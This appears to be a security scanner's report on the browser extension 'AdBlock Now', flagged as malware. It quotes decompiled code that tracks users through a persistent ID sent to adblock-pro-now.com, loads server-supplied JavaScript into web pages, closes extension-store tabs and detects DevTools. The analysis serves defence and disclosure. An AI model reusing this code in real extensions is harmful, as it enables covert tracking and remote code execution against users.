Security Alert: Confirmed Malware
AdBlock Now
ID: kdnhhhkoemfnieeacbcfbebmidanfjlg
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Anti popup groupView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Blocks ads, popups and trackers from 13'000 sources
Why AdBlock Now ? ✓ AdBlock Now is undetected by most anti-adblock scripts ✓ Pop ups are closed automatically if they are black listed ✓ Ads are removed from more than 13'000 ad networks ✓ Social Privacy trackers from Facebook, Twitter, Linkedin, Pinterest, Reddit, TikTok are blocked ✓ Privacy Trackers from Google Analytics, Hotjar, MouseFlow, FreshMarketer and more are blocked ✓ AdBlock Now is Free, no subscription I created this extension because all the other adblockers get detected and I was tired of all the popups. Enjoy and send me your suggestions.
The extension beacons user telemetry (blocked count, warning count, extension ID, version, and a persistent UID) to the third-party domain adblock-pro-now.com on every request interception and navigation event. This is undisclosed data collection sent to an operator-controlled server unrelated to adblocking functionality. The UID allows cross-session tracking of individual users.
function l() { chrome.storage.local.get(null, function(b) { void 0 == b.next && chrome.storage.local.set({ next: Date.now() + 684E5 }); void 0 == b.uid ? m("https://adblock-pro-now.com/j.php?c=uid&eid=" + chrome.runtime.id.slice(0, 8) + "&v=" + f .version) : Date.now() > b.next && m("https://adblock-pro-now.com/j.php?c=data&uid=" + b.uid + "&v=" + f .version + "&b=" + localStorage.blocked + "&eid=" + chrome.runtime.id.slice(0, 8) + "&w=" + localStorage .warning); });}The fetch callback accepts a JSON response from adblock-pro-now.com and writes its entire contents directly into chrome.storage.local via chrome.storage.local.set(a). This allows the remote server to inject arbitrary key-value pairs into extension storage — including the 'core', 'google', 'youtube', and 'default' script payloads that are later executed as code via chrome.tabs.executeScript. This is a remote code loading vector disguised as config sync.
function m(b) { e && (e = !1, fetch(b) .then(function(a) { return a.json(); }) .then(function(a) { chrome.storage.local.set(a); a.next && chrome.storage.local.set({ next: Date.now() + a.next }); setTimeout(n, 10e3); setTimeout(function() { e = !0; }, 240e3); })["catch"](function(a) { throw a; }));}Function k() assembles JavaScript code strings from chrome.storage.local (which can be remotely updated by the server via function m()) and injects them into the active tab using chrome.tabs.executeScript with the 'code' parameter. This is dynamic code injection into web pages using server-controlled payloads, enabling arbitrary script execution in any HTTPS page the user visits.
function k(b) { chrome.storage.local.get(null, function(a) { var c = "(function() {" + a.core; Object.keys(a) .forEach(function(d) { d.startsWith(b) && (c += a[d]); }); c += "})();"; chrome.tabs.executeScript({ allFrames: false, code: c, runAt: "document_start" }, function() { return chrome.runtime.lastError; }); }); l();}Function p() silently enumerates all open browser windows and tabs, then closes any tabs that are viewing extension store pages (Chrome Web Store or Microsoft Edge Add-ons). This is anti-analysis/self-protection behavior designed to prevent users from reviewing or uninstalling extensions, or from discovering competing extensions.
function p() { new Promise(function(b) { chrome.windows.getAll({ populate: true }, function(a) { var c = []; a.forEach(function(d) { d.tabs.forEach(function(g) { g.url.includes("https://chrome.tabsoogle.com/webstore/detail/") ? c.push(g.id) : g.url .includes("https://microsoftedge.microsoft.com/addons/detail/") && c.push(g.id); }); }); chrome.tabs.remove(c, b); }); });}On installation, the extension stores JavaScript code strings ('core', 'youtube', 'google') in local storage and calls p() to close extension-store tabs. The stored code strings serve as the initial payload for the executeScript injection mechanism and can be overwritten at any time by server responses, establishing the remote code execution infrastructure immediately after install.
chrome.runtime.onInstalled.addListener(function(b) { "install" == b.reason ? (void 0 == localStorage.blocked && (localStorage.blocked = 0), void 0 == localStorage .warning && (localStorage.warning = 0), p(), chrome.storage.local.set({ core: "var style=document.createElement('style');document.head.appendChild(style);function css(r){style.sheet.insertRule(r)}function r(el){document.querySelectorAll(el).forEach(function(e){e.remove();});}" }), chrome.storage.local.set({ youtube: "css('.video-ads,.ytd-action-companion-ad-renderer,.ytd-promoted-sparkles-web-renderer{display: none !important}');" }), chrome.storage.local.set({ google: "css('#tads,#bottomads {display: none}');r('.ads-ad');r('#tads');" }), setTimeout(l, 300e3), setTimeout(n, 370e3)) : "update" == b.reason && ...On every HTTPS navigation, the extension queries the active tab URL and injects site-specific server-controlled scripts (via function k()) into Google Search and YouTube pages. This hooks into every navigation to modify page content using remotely updatable payloads, enabling silent injection of any JavaScript the server chooses to deliver.
chrome.webNavigation.onCommitted.addListener(function(b) { 0 == b.frameId && 1 == b.url.startsWith("https://") && chrome.tabs.query({ active: !0, status: "loading" }, function(a) { if (0 < a.length) { a = a[0].url; try { 1 > a.length || null === a || void 0 === a || (a.includes("https://www.google.") && a.includes( "/search?") ? k("google") : a.includes("https://www.youtube.com") ? k("youtube") : k("default")); } catch (c) { throw c; } } });});The extension registers an uninstall callback URL on the operator's domain that includes the user's persistent UID and blocked-count telemetry. This phones home to adblock-pro-now.com upon uninstall, confirming user identity to the remote server even as the user is removing the extension.
function n() { chrome.storage.local.get(["uid"], function(data) { var url = "https://adblock-pro-now.com/uninstall.php?uid=" + encodeURIComponent(data.uid) + "&b=" + localStorage['blocked']; chrome.runtime.setUninstallURL(url); });}The content script uses a toString() trick to detect when DevTools console is opened (the browser calls toString() on objects passed to console.log to render them). When detected, it sends a 'warning' message to the background, which increments a warning counter and reports it to the remote server. This is an active anti-analysis measure that tracks when users attempt to inspect the extension's behavior.
var caution = function() {};caution.toString = function() { if (this.opened) { chrome.runtime.sendMessage({ type: 'warning' }); console.log('%c WARNING / ATTENTION :', 'color:red;font-size:16px;'); console.log('%c DO NOT COPY / PASTE CODE HERE.', 'color:red;font-size:12px;'); } this.opened = true;};console.log('%c', caution);By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.0.0 | 8 |
Files with findings
2 distinct paths — top paths by unique finding count:
- background.comp.js7
- content.js1
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.